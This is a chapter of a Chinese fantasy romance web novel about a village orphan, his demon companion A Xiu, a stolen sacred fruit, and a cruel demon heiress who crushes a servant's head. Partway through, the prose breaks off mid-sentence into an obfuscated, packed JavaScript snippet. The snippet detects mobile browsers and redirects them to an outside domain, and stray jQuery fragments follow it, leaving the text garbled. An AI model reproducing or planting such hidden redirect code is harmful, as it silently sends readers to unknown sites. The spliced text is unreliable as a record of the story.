“原大哥,你受伤了吗?我闻见药草的味道。”瞿无涯和原无名走在回家的路上。
原无名的神色微妙,尬笑两句,“旧伤,旧伤。”
等回到家,瞿无涯发现阿休已经等在家中,他就知道阿休这么厉害,肯定没事。
他飞奔上去,给了阿休一个巨大的拥抱,“你吓死我了,突然就不见。你没事吧?”
阿休气定神闲地拍拍他的肩膀,“没事。”他和后边的原无名对视。
呵呵,一会不见就带了个男人回家。
“哦,我给你介绍一下。”瞿无涯松开阿休,手掌对着原无名,“这是我刚刚认识的朋友,原无名。我方才被请帖的主人给逮到了,是他救了我。他就是今天那个刺客,他说可以带我们进府,我就请他回来住了。”
“原大哥,这是我朋友,阿休。”
原无名毫无察觉奇怪的氛围,“休兄,这几日有劳二位收留了。”
他看不出这个叫阿休的人是什么实力,若不是比自己高上很多能够隐藏,就是普通人、
“嗯,多谢你救了无涯。”阿休审视完原无名,转了视线。
“你们饿不饿?我饿了。”瞿无涯到橱柜上翻找,“我看看有没有点心。”
原无名:“我不饿。”
“无涯。”
瞿无涯转身,“怎么了?”
阿休拿出一个果子,抛给他。
瞿无涯拿着果子去洗,咬了一口,酸酸甜甜的,还挺好吃。原无名为何一直盯着自己?难道他也想吃?
但要是分他一口,阿休会不高兴的,等下问一下阿休哪里买的,到时候买给原无名吃好了。
几口下肚,瞿无涯把果核扔到桶里,又去洗了个手,才回到房间。
“阿休,这果子还挺好吃的,哪买的?”
原无名因感觉眼熟,盯着瞿无涯吃果子的全程。
阿休淡淡一笑,“捡的。”
这句话是真的,在混乱之中,那保护拍卖物的透明盒子也碎裂,一颗果子就滚下来,护卫在收拾残局,地上一片狼藉。
他隐蔽气息,拿走了那颗果子,瞿无涯容易饿,但这么晚也买不到吃的,就拿这个给瞿无涯当夜宵吧。
至于他出殿时,殿内因失物响起的喧闹声,都无需理会。若说拍卖会上都是沧澜城的风云人物,那这沧澜城似乎也没什么大不了的,毕竟,他就算如今中蛊,也都打得过。
原无名神情复杂,“这个是圣果吧?”
瞿无涯目瞪口呆,发出一个音节“啊”。什么圣果?刚刚拍卖会的那个吗?吃起来也没什么稀奇的啊,和寻常果子一个味道。
而且这个果子是什么功效来着?他没有认真听。
阿休:“不是,长得比较像而已。”
对陌生人没必要说太多。
真的吗?瞿无涯狐疑地看着阿休,他也算了解阿休的性子,阿休说正经话和说玩笑话是一个语气。
但原无名信了,像阿休这样神色自若、浑不在意的模样,有什么说谎的必要吗?
“原来如此,还真挺像的。”
瞿无涯赶紧转移话题,“原大哥,这旁边有一个空房间,你就在这歇息吧。”
院子是有两间卧室,两个男子住一间卧室比较少见,他们不想节外生枝,就随大流找了两间卧室的院子。
等原无名安顿好,瞿无涯长舒一口气,体内灵气涌动,他给自己把脉,好似经脉在被抚慰。
他关好门,转身问阿休:“刚才我吃的真是圣果?”
“开经脉的,对你身体有好处。”阿休撩开他额前的碎发,“你不是一直想修道吗?你根骨不错,但比起从小修炼的人来说还是落后一步,吃了这个有助于你以后的修炼。”
“可是这是偷来的啊,我们没付钱。”瞿无涯压低声音,“我不喜欢这样,这不是属于我的东西。”
阿休勾唇,“你也太正直了。你知道圣果是什么吗?”
瞿无涯摇摇头。
“圣果是王族的圣物,三百年结一颗果,是给王族寄予厚望的子嗣服用。你说这种东西王族的公共宝物,为什么会沦落到海市上?王族还没有落魄到要卖圣果的地步,也就是说这是他们故意放到拍卖会上的。”
“目的嘛,自然是吸引该来的人。动不到魇瞳,还杀不了魇箬吗?只不过,这场刺杀布局得很粗糙,幕后人没有一击必中的决心,所以不肯投入太多资源。这要是让人知晓王族在背后动手脚,那就是和永瞑泽撕破脸,王族还没开战的实力。”
“因此,这场刺杀是侠义之举,隔壁的那位,是个心怀天下的侠客。侠客想斩妖,王族就推他一把,成功也好失败也罢,怨不到王族头上。我说的也不一定全对,但大致是没差的。”
“这和你拿圣果有什么关系?”瞿无涯一头雾水。
“捣乱啊。”阿休淡淡地瞥隔壁方向一眼,“王族没有道理为一次大概率失败的刺杀牺牲圣果,魇箬也会质问海市刺杀的事情。若这个时候,他们发现圣果既不是海市回收,又不是魇箬拿了,会不会很有意思?”
“啊,他们肯定会猜,到底是谁有这个能力在他们眼皮底下拿走东西,哪来的第三方势力,这个第三方势力又知道些什么?然后,关于我的身份信息自然会找上门。”
虽然听得很懵,但瞿无涯确认了一点,“原来你是真嫌我话多,不愿意和我说话。”
说起这些事就滔滔不绝,果然是他说的话太无聊了,阿休不想理他吗?
阿休本就是不愿意多解释的性格,是为眼前这个笨蛋解惑才说那么多,结果对方一点也没听懂就算了,还埋怨他。
他扶着额头,“哎,我真是......多余和你说。”
他一推瞿无涯,把人按在门上,咬着瞿无涯的嘴唇。
瞿无涯下意识往隔壁一看,原无名似乎实力高强,会不会察觉?
阿休威胁似的,按着瞿无涯的喉咙,他没有说话,瞿无涯却听懂了他的意思。
要是再在这种时候想原无名,就让瞿无涯死在床上。
最后两人还是没有真做,因为阿休要帮瞿无涯把圣果吸收完全。
瞿无涯五感清明,有种脱胎换骨的感觉,从前看不见、听不见、闻不到的细微之处都翻涌而上,他甚至能听见隔壁轻微的鼾声。
“原大哥睡这么香,也不怕我们是坏人吗?”瞿无涯埋在阿休的怀里,说小话。
阿休捏着他的耳朵,回想了一下拍卖会的情况,“原无名,他的修为能和魇箬不相上下,应该算厉害的。他不是单纯,只是对自己的实力很自信。”
“那你打得过他吗?”
“我没必要和他动手,他太年轻了。这没法比的,我毕竟是妖。人族寿命就那么短,看他的年纪也不过二十几,能有这个水平,确实难得。我们从碧落村到沧澜城这一路,比他厉害的见过,但比他年轻又比他修为高强的,没有见过。”
就算阿休没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126455|180071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说,瞿无涯也从他日渐增多的沉思中感觉到,“你是不是恢复记忆了?”
因为阿休总是不说,他也不知道自己该不该问,只能装作打情骂俏一般质问,就是想暗示阿休是不是该和自己说什么。
大概是他的暗示太含蓄了,阿休完全没有感觉到。阿休刚醒来那几日的状态,是带着迷茫的散漫,但如今是淡然的散漫。
就像阿休方才分析的一堆东西,若是换刚醒来的阿休,肯定是说不出的。
“嗯,不算吧。”阿休沉吟,“与其说是恢复记忆,不如说是恢复智力。我仍然想不起自己是谁,也想不起以前的事,但有些常识会突然出现在脑海里。”
“那你,若是恢复记忆......”
还会待到我身边吗?
问不出这么直接的话,瞿无涯抿嘴,“会不会性情突变,变得很残暴。我听说越厉害的妖,性格就越残忍好杀。”
阿休也无法做出承诺,“我不知道,但你不用担心我会伤害你,婚契是不会允许我伤害你的。”
离开也是一种伤害,瞿无涯越了解世间的形势、见识强大的力量,就越有些迷茫和胆怯。
他只是一个偏远山村的孤儿,他不懂什么王室什么十二妖君什么人妖对立,也从来不知道术法对抗会发出那样耀眼的光。
曾经,他听长辈说过阳镇有一个根骨绝佳的天才,被高人收为徒弟,那个徒弟说修炼很无聊,就是不停地打坐打坐再打坐。
直到遥幽告诉他,他才知道,修炼是需要心法才行,打坐只是集中精力聚集灵气,而且妖和人所用心法并不共通。普通人就算不修炼,也会汇聚一些灵力在体内,只不过没有心法的帮助,效率极其低,纯看个人天赋,可以说是忽略不计。
就是他这样一个连修炼都一知半解的普通人,竟然要接近妖君的女儿吗?无知才能无畏,他越接近真实的一切,反而越担忧。
阿休是强大的妖,原无名是有天分的修炼者,那他算什么呢?幸好,阿休是和他一起的,这让他安心。
他紧紧地抱着阿休,两人依偎着睡去。
如此岁月静好的院子,自然是有人在负重前行。
千瞳府。
魇箬踹开地上跪着的人,踩到他脸上,“我说让你老板拿出客人名单,听不懂吗?”
那人嘴角有血,磕磕绊绊地道:“少君,拍卖会有规定,客人名单要是被公布,海市之后没办法做生意的。况且圣果失踪,海市这次本就损失惨重,还请少君谅解。”
“关我什么事?做不来就别做,连刺客都能来的地方,还有存在的必要吗?”
魇箬用力踩下去,听见痛苦的哀嚎声,大笑,“圣果失踪难道是我的错吗?你们海市办事不利的损失——哦,你们怀疑是我拿走了?”
那人的脸骨发出碎裂的声音,面容扭曲得不成样子,声音细微,“没有......”
“我又不是买不起,我为何要拿?你们不去查那个刺客,反倒查我头上?”
这惨叫声也太难听了,魇箬不耐烦地使劲,感受到脚下的脑袋碎裂,才收回腿。
啧,鞋子脏了,这红红白白的混合物真恶心。她干脆褪去鞋袜,赤脚走出殿外。
侍女识趣地上前收拾,这种惨状,她见得太多,已经不会再呕吐了。或者说,呕吐的人下场会和这个脑浆迸裂的人一样。
魇箬哼着小曲,纱衣飘飘,笑得天真又甜蜜,推开房门,“肃,我回来啦。”